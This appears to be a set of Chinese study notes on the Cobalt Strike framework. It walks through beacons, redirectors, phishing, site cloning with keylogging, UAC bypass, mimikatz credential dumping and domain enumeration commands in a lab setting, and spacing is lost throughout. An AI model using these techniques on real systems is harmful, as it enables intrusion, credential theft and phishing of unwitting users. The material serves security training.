CobaltStrike是一款渗透测试神器,常被业界人称为CS神器。CobaltStrike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
早期版本CobaltSrtike依赖Metasploit框架,而现在CobaltStrike已经不再使用MSF而是作为单独的平台使用。
这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具),而CobaltStrike大家可以理解其为Armitage的商业版。
CS的发展
接下来会用到的工具和环境
CobaltStrike使用C/S架构,CobaltStrike的客户端连接到团队服务器,团队服务器连接到目标,也就是说CobaltStrike的客户端不与目标服务器进行交互,那么CobaltStrike的客户端如何连接到团队服务器就是本文所学习的东西。
准备工作
CobaltStrike的客户端想连接到团队服务器需要知道三个信息:
知道这些信息后,就可以使用脚本开启团队服务器了,值得注意的是CobaltStrike团队服务器只能运行在Linux环境下。
开启团队服务器
开启团队服务器命令一般如下所示:
服务端开启后,就可以开启客户端进行连接了
连接到团队服务器
在Linux下,直接运行start.sh脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接
点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面
在Windows下的连接方法也基本一致,直接双击start.bat文件,输入IP、密码、用户名,点击Connect即可
在连接后,团队之间就可以通过客户端进行沟通,信息共享
CobaltStrike不是用来设计指导在一个团队服务器下进行工作的,而是被设计成在一次行动中使用多个团队服务器。
这样设计的目的主要在于运行安全,如果一个团队服务器停止运行了,也不会导致整个行动的失败,所以接下来看看如何连接到多个团队服务器。
连接到多个团队服务器
CobaltStrike连接到多个团队服务器也很简单,直接点击左上角的加号,输入其他团队服务器的信息后,即可连接
最基本的团队服务模型
这里介绍最基本的团队服务模型,具体由三个服务器构成,具体如下所示:
可伸缩红队操作模型
可伸缩红队操作模型(ScalingRedOperations)分为两个层次,第一层次是针对一个目标网络的目标单元;第二层次是针对多个目标网络的权限管理单元。
目标单元的工作:
访问管理单元的工作:
团队角色
日志记录
CobaltStrike的日志文件在团队服务器下的运行目录中的logs文件夹内,其中有些日志文件名例如beacon_11309.log,这里的11309就是beacon会话的ID。
导出报告
CobaltStrike生成报告的目的在于培训或帮助蓝队,在Reporting菜单栏中就可以生成报告,关于生成的报告有以下特点:
报告类型
这一小节学起来感觉有些吃力,里面很多概念理解的不是很清楚,如果有大佬看到描述错误的地方欢迎留言指正,避免误导他人。
一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,接下来将深入了解如何准确配置监听器。
一个监听器由用户定义的名称、payload类型和几个特定于payload的选项组成。
监听器的名字一般由以下结构组成:
OperatingSystem/Payload/Stager例如:
攻击载荷payload就是攻击执行的内容。攻击载荷通常被分为两部分:传输器stager和传输体stage。
传输器stager是一个小程序,用于连接、下载传输体stage,并插入到内存中。
我个人理解为:攻击载荷里真正用于攻击的代码是在传输体里。
所以为什么要有传输体?直接把攻击载荷插入到内存中不更方便快捷、更香么,搞得又是传输器又是传输体的。
需要传输体是因为在很多攻击中对于能加载进内存,并在成功漏洞利用后执行的数据大小存在严格限制。这就导致在攻击成功时,很难嵌入额外的攻击载荷,正是因为这些限制,才使得传输器变得有必要了。
创建监听器
CobaltStrike有两种类型的监听器:
Beacon是什么
Beacon的类型
创建一个HTTPBeacon
点击CobaltStrike-->Listeners打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTPBeacon,所以其他的默认就行,最后点击Save
此时可以测试一下刚才设置的监听器,点击Attack-->WebDrive-by-->ScriptedWebDelivery(s),在弹出的窗口中选择刚才新添的Listener,因为我的靶机是64位的,所以我把Usex64payload也给勾选上了,最后点击Launch
复制弹窗的命令,放到靶机中运行
此时,回到CS,就可以看到已经靶机上线了
HTTPSBeacon
DNSBeacon,顾名思义就是使用DNS请求将Beacon返回。这些DNS请求用于解析由你的CS团队服务器作为权威DNS服务器的域名。DNS响应告诉Beacon休眠或是连接到团队服务器来下载任务。DNS响应也告诉Beacon如何从你的团队服务器下载任务。
在CS4.0及之后的版本中,DNSBeacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。
DNSBeacon的工作流程具体如下:
首先,CS服务器向目标发起攻击,将DNSBeacon传输器嵌入到目标主机内存中,然后在目标主机上的DNSBeacon传输器回连下载CS服务器上的DNSBeacon传输体,当DNSBeacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。
原本DNSBeacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNSTXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNSTXT记录这一种选择了,所以接下来重点学习使用DNSTXT记录的方式。
根据作者的介绍,DNSBeacon拥有更高的隐蔽性,但是速度相对于HTTPBeacon什么的会更慢。
域名配置
既然是配置域名,所以就需要先有个域名,这里就用我的博客域名作为示例:添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。
添加一个监听器,DNSHosts填写NS记录和A记录对应的名称,DNSHost填写A记录对应的名称
根据上一章的方法创建一个攻击脚本,放到目标主机中运行后,在CS客户端可以看到一个小黑框
SMBBeacon使用命名管道通过一个父Beacon进行通信。这种对等通信对同一台主机上的Beacon和跨网络的Beacon都有效。Windows将命名管道通信封装在SMB协议中。因此得名SMBBeacon。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMBBeacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。
SMBBeacon监听器对“提升权限”和“横向渗透”中很有用。
SMBBeacon配置
首先需要一个上线的主机,这里我使用的HTTPBeacon,具体如何上线,可以参考之前第5节《如何建立Payload处理器》学习笔记中的内容,这里不过多赘述。
主机上线后,新建一个SMBBeacon,输入监听器名称,选择BeaconSMB,管道名称可以直接默认,也可以自定义。
接下来在Beacon中直接输入spawnSMB,这里的SMB指代的是创建的SMBBeacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMBBeacon。
等待一会儿,就可以看到派生的SMBBeacon,在external中可以看到IP后有个∞∞字符。
接下来我这里将SMBBeacon插入到进程中,以vmtoolsed进程为例。
在vmtoolsed中插入SMBBeacon后,便能看到process为vmtoolsed.exe的派生SMBBeacon。
当上线主机较多的时候,只靠列表的方式去展现,就显得不太直观了,通过CS客户端中的透视图便能很好的展现。
在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的test用户为普通权限用户,因此这里给他提升一下权限。
提权
由于下面与上面内容的笔记不是在同一天写的,因此截图中上线的主机会有所差异,这里主要是记录使用的方法。
下载之后,打开CobaltStrike-->ScriptManager,之后点击Load,选择自己刚才下载的文件中的elevate.cna文件。
接着选择要提权的主机,右击选择Access-->Elevate,Listener中选择刚才新建的SMBBeacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试。
顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的。
连接与断开
此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入unlink192.168.175.144
如果想再次连上,就直接输入link192.168.175.144,想从当前主机连到其他主机也可以使用此命令。
重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样。
目标靶机<-------->多个并列的重定向器<------>CS服务器重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:
创建一个重定向器
这里就使用自己的内网环境作为测试了,首先理清自己的IP
CS服务器IP:192.168.175.129
目标靶机IP:192.168.175.130
重定向器IP:192.168.175.132、192.168.175.133
首先,需要先配置重定向器的端口转发,比如这里使用HTTPBeacon,就需要将重定向器的80端口流量全部转发到CS服务器上,使用socat的命令如下:
如果提示没有socat命令,安装一下即可。重定向器设置好之后,就新建一个HTTPBeacon,并把重定向器添加到HTTPHosts主机列表中
此时可以测试一下重定向器是否正常工作,在CS中打开View-->WebLog,之后浏览器访问CS服务器地址,也就是这里的192.168.175.129
可以看到CS是能够正常接收到流量的,说明重定向器已经配置OK了,此时按照上面创建一个HTTPBeacon的操作,创建一个HTTPBeacon,并在靶机中运行
当靶机上线的时候,观察靶机中的流量,可以看到与靶机连接的也是重定向器的IP
在CS中也可以看到上线主机的外部IP也是重定向器的IP,此时如果关闭一个重定向器,系统依旧可以正常工作。
1、在Beacon传输Payload到目标上执行任务时都会先验证团队服务器,以确保Beacon只接受并只运行来自其团队服务器的任务,并且结果也只能发送到其团队服务器。
2、在刚开始设置BeaconPayload时,CS会生成一个团队服务器专有的公私钥对,这个公钥嵌入在Beacon的PayloadStage中。Beacon使用团队服务器的公钥来加密传输的元数据,这个元数据中一般包含传输的进程ID、目标系统IP地址、目标主机名称等信息,这也意味着只有团队服务器才能解密这个元数据。
3、当Beacon从团队服务器下载任务或团队服务器接收Beacon输出时,团队服务器将会使用Beacon生成的会话秘钥来加密任务并解密输出。
4、值得注意的是,PayloadStagers因为其体积很小,所以没有这些的安全特性。
什么是客户端攻击
客户端攻击根据教程直译过来就是一种依靠应用程序使用控制端来进行的可视化攻击。
原文:Aclient-sideattackisanattackagainstanapplicationusedtoviewattackercontrolledcontent.
为什么要进行客户端攻击
随着时代发展到了今天,在有各种WAF、防火墙的情况下,各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。
而当我们发送一个钓鱼文件到客户端上,再由客户端打开这个文件,最后客户端穿过防火墙回连到我们,此时在客户端上我们就获得了一个立足点foothold。这样的一个过程是相对而言是较为容易的,这也是为什么要进行客户端攻击。
如何获得客户端上的立足点
1、尽可能多的了解目标环境,即做好信息收集工作
2、创建一个虚拟机,使它与目标环境尽可能的一致,比如操作系统、使用的浏览器版本等等都需要保证严格一致
3、攻击刚刚创建的虚拟机,这会是最好的攻击目标
4、精心策划攻击方法,达到使目标认为这些攻击行为都是正常行为的效果
5、将精心制作的钓鱼文件发送给目标,比如钓鱼邮件
如果这五步都非常细致精心的去准备,那么攻击成功的概率会大幅提升。
系统侦察SystemProfiler是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。
设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择SystemProfiler功能模块,配置待跳转的URL等信息即可。
如果勾选了UseJavaApplettogetinformation则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。
配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察
1、View-->Applications2、View-->WebLog3、CobaltStrike-->Visualization-->TargetTable目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。
值得注意的一点是如果CobaltStrike的web服务器收到了lynx、wget或curl的请求,CS会自动返回一个404页面,这样做是为了防御蓝队的窥探。
用户驱动攻击
用户驱动攻击User-DrivenAttacks需要欺骗用户产生交互才行,但也有许多的优点。
首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。
当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:
用户驱动攻击包User-DrivenAttacksPackages功能打开位置:Attacks-->Packages
1、HTML应用
HTML应用HTMLApplication生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。
2、MicrosoftOffice宏文件
MicrosoftOffice宏文件MicrosoftOfficeDocumentMacros可以生成恶意宏放入office文件,非常经典的攻击手法。
3、Payload生成器
Payload生成器PayloadGenerator可以生成各种语言版本的Payload,便于进行免杀。
4、Windows可执行文件
Windows可执行文件WindowsExecutable会生成一个Windows可执行文件或DLL文件。默认x86,勾选x64表示包含x64payloadstage生成了artifactX64.exe(17kb)artifactX64.dll(17kb)
5、Windows可执行文件(Stageless)
Windows可执行文件(Stageless)WindowsExecutable(Stageless)会生成一个无进程的Windows可执行文件或DLL文件。其中的Stageless表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb)beconX64.dll(313kb)becon.ps1(351kb)
用户驱动Web交付攻击User-DrivenWebDrive-byAttacks功能打开位置:Attacks-->WebDrive-by
1、java签名applet攻击
java签名applet攻击JavaSignedAppletAttack会启动一个Web服务以提供自签名JavaApplet的运行环境,浏览器会要求用户授予applet运行权限,如果用户同意则实现控制,但目前该攻击方法已过时。
2、Java智能Applet攻击
Java智能Applet攻击JavaSmartAppletAttack会自动检测Java版本并利用已知的漏洞绕过安全沙箱,但CS官方称该攻击的实现已过时,在现在的环境中无效。
3、脚本化Web交付
脚本化Web交付ScriptedWebDelivery为payload提供web服务以便于下载和执行,类似于MSF的ScriptWebDelivery
4、托管文件
托管文件HostFile通过Attacks-->WebDrive-by-->HostFile进行配置,攻击者可以通过这个功能将文件上传到CS服务端上,从而进行文件托管。
如果想删除上传到CS服务端上的文件,可以到Attacks-->WebDrive-by-->Manage下进行删除。
如果想查看谁访问了这些文件,可以到View-->WebLog下进行查看。
首先来到Attacks-->Packages-->HTMLApplication创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。
HTML应用文件生成好后,来到Attacks-->WebDrive-by-->HostFile,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。
当在目标主机上提示是否运行时,点击运行。
当该文件在目标上运行后,CS客户端上就可以看到回连的会话了。
如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。
1、首先在MSF上选择攻击模块
3、之后在MSF中设置Payload的LHOST、LPORT为CS中Beacon的监听器IP及端口。
4、然后设置DisablePayloadHandler为True,此选项会让MSF避免在其内起一个handler来服务你的payload连接,也就是告诉MSF说我们已经建立了监听器,不必再新建监听器了。
5、再设置PrependMigrate为True,此选项让MSF前置shellcode在另一个进程中运行payloadstager。如果被利用的应用程序崩溃或被用户关闭,这会帮助Beacon会话存活。
6、最后运行exploit-j,-j是指作为job开始运行,即在后台运行。
操作
在CS中新建一个HTTPBeacon,创建过程不再赘述。
1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf模块,不过个人感觉现在这个模块已经不太能被利用成功了。
setDisablePayloadHandlerTruesetPrependMigrateTrue4、最后,开始攻击。
在向目标发送漏洞程序之前,我们将自己进行伪装一下,这样可以更好的保护自己,同时提高成功率。CS上有个克隆网站的功能,能够较好的帮助到我们。
首先,来到Attacks-->WebDrive-by-->CloneSite下,打开克隆网站的功能,之后写入待克隆网站的URL,在Attack中写入MSF中生成的URL。
其中Logkeystrokesonclonedsite选项如果勾选则可以获取目标的键盘记录,记录结果在WebLog中能够查看。
之后,浏览器打开克隆站点地址,如果目标存在漏洞,就可以被利用了,同时在CS中也会观察到主机上线。
用CS进行钓鱼需要四个步骤:
1、创建一个目标清单
2、制作一个邮件模板或者使用之前制作好的模板
3、选择一个用来发送邮件的邮件服务器
4、发送邮件
目标清单
目标清单就是每行一个邮件地址的txt文件,即每行包含一个目标。
在一行中除了邮件地址也可以使用标签或一个名字。如果提供了名称,则有助于CobaltStrike自定义每个网络钓鱼。
模板
使用模板的好处在于可以重复利用,制作钓鱼模板也很简单。
首先可以自己写一封邮件发给自己,或者直接从自己收件箱挑选一个合适的。有了合适的邮件之后,查看邮件原始信息,一般在邮件的选项里能找到这个功能。最后将邮件的原始信息保存为文件,一个模板就制作完成了。
发送邮件
有了目标和模板,然后选好自己的邮件服务器,之后就可以发送消息了。
所有信息添加完成后,可以点击Preview查看。如果感觉效果不错,就可以点击send发送了。
当目标收到钓鱼邮件,并且点击钓鱼邮件中的链接后,如果钓鱼链接配置的没有问题,CS就能够上线了。
由于此处是仅作为测试用途,所以模板中的链接都是自己的本地内网CS服务器地址,如果是真实环境中,则自然需要使用公网的地址才行。
在真实环境中的钓鱼邮件也不会像这里这么浮夸,真实环境中的钓鱼邮件往往都伪装成和正经儿的邮件一模一样,单从表面上看很难看出区别,因此提高自己的安全意识还是很重要滴。
Beacon控制台
Beacon控制台是在使用CS的过程中,很经常用到的功能,向Beacon发出的每个命令,都可以在这里看到,如果队友发送了消息,在Beacon控制台同样能看到,消息前还会显示队友的名称。
Beacon菜单
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前Beacon会话管理的选项
Beacon命令
help:查看Beacon命令的帮助信息。使用help+待查看帮助的命令可查看该命令的帮助信息。
clear:清除Beacon命令队列。Beacon是一个异步的Payload,输入的命令并不会立即执行,而是当Beacon连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用clear命令。
shell:通过受害主机的cmd.exe执行命令。比如运行ipconfig,就需要输入shellipconfig
run:不使用cmd.exe执行命令。该命令也是run+命令的形式运行,该命令会将执行结果回显。
execute:执行命令,但不回显结果。
cd:切换当前工作目录。
pwd:查看当前所在目录。
powershell:通过受害主机的PowerShell执行命令。比如想在PowerShell下运行ipconfig,就需要输入powershellipconfig
powerpick:不使用powershell.exe执行powershell命令。这个命令依赖于由LeeChristensen开发的非托管PowerShell技术。powershell和powerpick命令会使用当前令牌(token)。
psinject:将非托管的PowerShell注入到一个特定的进程中并从此位置运行命令。
powershell-import:导入PowerShell脚本到Beacon中。直接运行powershell-import+脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个PowerShell脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空Beacon中导入的脚本。
execute-assembly:将一个本地的.NET可执行文件作为Beacon的后渗透任务来运行。
setenv:设置一个环境变量。
Beacon被设计的最初目的就是向其他的CS监听器传递会话。
spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在rundll32.exe中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如InternetExplorer)并使用spawnto命令来说明在派生新会话时候会使用Beacon中的哪个程序。
spawnto:该命令会要求指明架构(x86还是x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按enter会指示Beacon恢复至其默认行为。
inject:输入inject+进程id+监听器名来把一个会话注入一个特定的进程中。使用ps命令来获取一个当前系统上的进程列表。使用inject[pid]x64来将一个64位Beacon注入到一个64位进程中。
spawn和inject命令都将一个payloadstage注入进内存中。如果payloadstage是HTTP、HTTPS或DNSBeacon并且它无法连接到你,那么将看不到一个会话。如果payloadstage是一个绑定的TCP或SMB的Beacon,这些命令会自动地尝试连接到并控制这些payload。
dllinject:dllinject+[pid]来将一个反射性DLL注入到一个进程中。
shinject:使用shinject[pid][架构][/路径/.../file.bin]命令来从一个本地文件中注入shellcode到一个目标上的进程中。
shspawn:使用shspawn[架构][/路径/.../file.bin]命令会先派生一个新进程(这个新进程是spawnto命令指定的可执行文件),然后把指定的shellcode文件(file.bin)注入到这个进程中。
dllload:使用dllload[pid][c:\路径\...\file.dll]来在另一个进程中加载磁盘上的DLL文件。
会话传递使用场景
1、将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。
2、将当前会话传递至MSF中,这里简单做一下演示。
首先,在MSF中,为攻击载荷新建一个payload
浏览会话系统文件位置在右击会话处,选择Explore-->FileBrowser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。
在进行文件浏览时,如果beacon设置的sleep值较高,CS会因此而变得响应比较慢。
彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。
文件下载
download:下载请求的文件。Beacon会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于Beacon当前的数据通道。HTTP和HTTPS通道会拉取512kb的数据块。
downloads:查看当前Beacon正在进行的文件下载列表。
cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在cancel命令中使用通配符来一次取消多个文件下载任务。
下载文件都将下载到CS团队服务器中,在View-->Download下可看到下载文件的记录,选中文件后使用SyncFiles即可将文件下载到本地。
文件上传
upload:上传一个文件到目标主机上。
Beacon运行任务的方式是以jobs去运行的,比如键盘记录、PowerShell脚本、端口扫描等,这些任务都是在beaconcheckin之间于后台运行的。
jobs:查看当前Beacon中的任务
jobkill:加上任务ID,对指定任务进行停止
屏幕截图
screenshot:获取屏幕截图,使用screenshotpid来将截屏工具注入到一个x86的进程中,使用screenshotpidx64注入到一个x64进程中,explorer.exe是一个好的候选程序。
使用screenshot[pid][x86|x64][time]来请求截屏工具运行指定的秒数,并在每一次Beacon连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View-->Screenshots来浏览从所有Beacon会话中获取的截屏。
键盘记录
keylogger:键盘记录器,使用keyloggerpid来注入一个x86程序。使用keyloggerpidx64来注入一个x64程序,explorer.exe是一个好的候选程序。
使用单独的keylogger命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View-->Keystrokes中进行查看。
其他
除了上述使用命令的方式进行屏幕截图和键盘记录,也可以来到Explore-->ProcessList下选择要注入的进程,再直接点击屏幕截图或键盘记录的功能按钮。
从使用上,具体注入那个程序都是可以的,只是注入explorer.exe会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器。
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore-->BrowserPivot,随后选择要注入的进程,CS会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。
portscan:进行端口扫描,使用参数为:portscan[targets][ports][discoverymethod]。
目标发现discoverymethod有三种方法,分别是:arp、icmp、none,arp方法使用ARP请求来发现一个主机是否存活。icmp方法发送一个ICMPecho请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在Beacon和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到Beacon控制台。CobaltStrike会处理这个信息并使用发现的主机更新目标模型。
右击Beacon会话,在Explore-->PortScan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在targettable页面中可看到扫描结果,右击会话,选择Services可查看详细的扫描结果。
自Windowsvista开始,Windows系统引进了用户账户控制机制,即UACUserAccountControl机制,UAC机制在Win7中得到了完善。UAC与UNIX中的sudo工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
此时系统用户可分为以下三种等级:
高:管理员权限
中:一般用户权限
低:受限制的权限
使用whoami/groups命令可以看到当前用户所在的组以及权限,使用netlocalgroupadministrators可以查看当前在管理员组里的用户名。
当某些操作需要管理员权限,而当前用户权限只有一般用户权限时,就需要提权操作了。
在CS中有以下几种提权操作:
bypassuac:将本地中级管理员权限提升至本地高级管理员权限,适用于Win7及以上的系统。
elevate:将任意用户的权限提升至系统权限,适用于2018年11月更新之前的Win7和Win10系统。
getsystem:将本地高级管理员权限提升至系统权限。
runas:使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出。
spawnas:使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将payloadstage注入进那个进程。
首先,右击待提权的会话,选择Access-->SpawnAs,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的SMB监听器,之后点击运行就能看到对应的用户上线了。
BypassUAC有两个步骤,分别是:
1、利用UAC漏洞来获取一个特权文件副本
2、使用DLL劫持进行代码执行
首先使用shellwhoami/groups查看当前上线主机用户的所属组及UAC等级
通过返回信息可以看出,当前用户为管理员权限,UAC等级为中,根据上一节中关于的介绍,此时可以使用bypassuac进行提权。
首先,右击会话,选择Access-->Elevate,这里选择一个SMBBeacon,Exploit选择uac-token-duplication,最后Launch即可。
待BeaconCheckin后,当前用户UAC为高权限的会话便会上线了。
PowerUp所做的事是寻找可能存在弱点的地方,从而帮助提权。
利用PowerUp进行提权需要首先导入ps1文件powershell-importPowerUp.ps1,再执行powershellInvoke-AllChecks命令,使用PowerUp脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
PowerUp的使用
执行以下命令:将ps1文件上传到目标主机,并执行所有弱点检查。
powershell-importPowerUp.ps1powershellinvoke-allchecks详细运行过程:
这时为了复现成功可以来到靶机下,以管理员权限打开Powershell,运行set-ExecutionPolicyRemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。
想要获取凭证信息,可以在管理员权限的会话处右击选择Access-->DumpHashes,或者在控制台中使用hashdump命令。
想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access-->RunMimikatz,或在控制台运行logonpasswords命令。
在View-->Credentials下可以查看到hashdump与mimikatz获取的数据。
在Beacon中集成了mimikatz,mimikatz执行命令有三种形式:
下面是一些mimikatz命令。
以上的这些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。
mimikatz!misc::memsspcdC:\Windows\system32shelldirmimilsa.logshelltypemimilsa.log详细运行过程:
首先运行mimikatz!misc::memssp
beacon>mimikatz!misc::memssp[*]Taskedbeacontorunmimikatz's!misc::memsspcommand[+]hostcalledhome,sent:1006151bytes[+]receivedoutput:Injected=)接下来来到C:\Windows\system32目录
查看mimilsa.log文件内容。
活动目录
活动目录ActiveDirectory是一种能够集中管理用户、系统和策略的技术,活动目录的一个重要概念就是域。
域
域Domain即是一个管理员或者说是网络边界,在域里的用户和系统都是通过AD进行管理的。
在域里,如果想控制服务器进行操作就需要取得域的信任。
域控制器
域控制器DomainController顾名思义就是一个对域里的用户和系统进行身份验证的一个系统。
本地用户
本地用户LocalUser就是系统上的一个标准用户。
当我们想在Windows命令行下指定一个本地的用户时,可以通过输入.\本地用户名或者计算机名\本地用户名来指定本地的用户账户,其中.表示计算机名。
域用户
域用户DomainUser是指域控制器下的用户,如果想指定域用户,可以输入域名\域用户名
本地管理员
本地管理员LocalAdministrator即是指在本地系统有管理权限的用户。
域管理员
域管理员DomainAdministrator是指在域控制器上有管理权限的用户。
注意:以下命令是在主机中运行的结果,在CobaltStrike中运行只需要根据命令类型在命令前加上shell或者powershell即可。
一些问题
当进入目标局域网时,需要弄清楚几个问题。
1、我正处在那个域上?
2、域信任关系是什么样的?
3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?
4、系统上存放共享数据的地方在哪里?
一些枚举的命令
PSC:\>netview/domainDomain-------------------------TEAMSSIX命令成功完成。netview/domain:[domain]、netgroup"domaincomputers"/domainPSC:\>netview/domain:teamssix服务器名称注解----------------------------------\\WIN-72A8ERDSF2P\\WIN-P2AASSD1AF1命令成功完成。PSC:\>netgroup"domaincomputers"/domain组名DomainComputers注释加入到域中的所有工作站和服务器成员----------------------------------------------WIN-72A8ERDSF2P$命令成功完成。PSC:\>nltest/dclist:teamssix获得域“teamssix”中DC的列表(从“\\WIN-P2AASSD1AF1”中)。WIN-P2AASSD1AF1.teamssix.com[PDC][DS]站点:Default-First-Site-Name此命令成功完成当使用32位的payload运行在64位的系统上,并且nltest路径不对的时候,可能会提示没有nltest这个命令,这时可以尝试使用下面的命令为其指定路径。
PowerView是由WillSchroeder开发的PowerShell脚本,该脚本完全依赖于Powershell和VMI,使用PowerView可以更好的收集内网中的信息,在使用之前,与上一节PowerUp的一样需要先import导入ps1文件。
一些PowerView的命令:
PSC:\PowerView>Get-NetDomainForest:teamssix.comDomainControllers:{WIN-P2AASSD1AF1.teamssix.com}Children:{}DomainMode:Windows2012DomainParent:PdcRoleOwner:WIN-P2AASSD1AF1.teamssix.comRidRoleOwner:WIN-P2AASSD1AF1.teamssix.comInfrastructureRoleOwner:WIN-P2AASSD1AF1.teamssix.comName:teamssix.comPSC:\PowerView>Invoke-ShareFinder\\WIN-P2AASSD1AF1.teamssix.com\ADMIN$-远程管理\\WIN-P2AASSD1AF1.teamssix.com\C$-默认共享\\WIN-P2AASSD1AF1.teamssix.com\IPC$-远程IPC\\WIN-P2AASSD1AF1.teamssix.com\NETLOGON-Logonservershare\\WIN-P2AASSD1AF1.teamssix.com\SYSVOL-LogonserversharePSC:\PowerView>Invoke-MapDomainTrust其他更多用法可以查看参考链接,或者参考PowerView项目上的ReadMe部分。
CobaltStrike中有自己的net模块,net模块是beacon后渗透攻击模块,它通过windows的网络管理api函数来执行命令,想使用net命令,只需要在beacon的控制中心输入net+要执行的命令即可。
netdclist:列出当前域的域控制器netdclist[DOMAIN]:列出指定域的域控制器netshare\\[name]:列出目标的共享列表netview:列出当前域的主机netview[DOMAIN]:列出指定域的主机在beacon控制台中输入这些命令很类似输入一个本地的net命令,但是有一些些许的不同,比如下面一个是在主机上运行netview的结果一个是在beacon控制台下运行netview的结果。不难看出,beacon下输出的结果更为丰富。
用户枚举的三个关键步骤:
1、当前账号是否为管理员账号?
2、哪些账号是域管理员账号?
3、哪个账号是这个系统上的本地管理员账号?
第一个关键步骤,发现管理员账号。
如果想知道自己是否为管理员账号,可以尝试运行一些只有管理员账号才有权限操作的命令,然后通过返回结果判断是否为管理员。
其中一种方式是尝试列出仅仅只有管理员才能查看的共享列表,比如下面的dir\\host\C$命令,如果可以看到一个文件列表,那么说明可能拥有本地管理员权限。
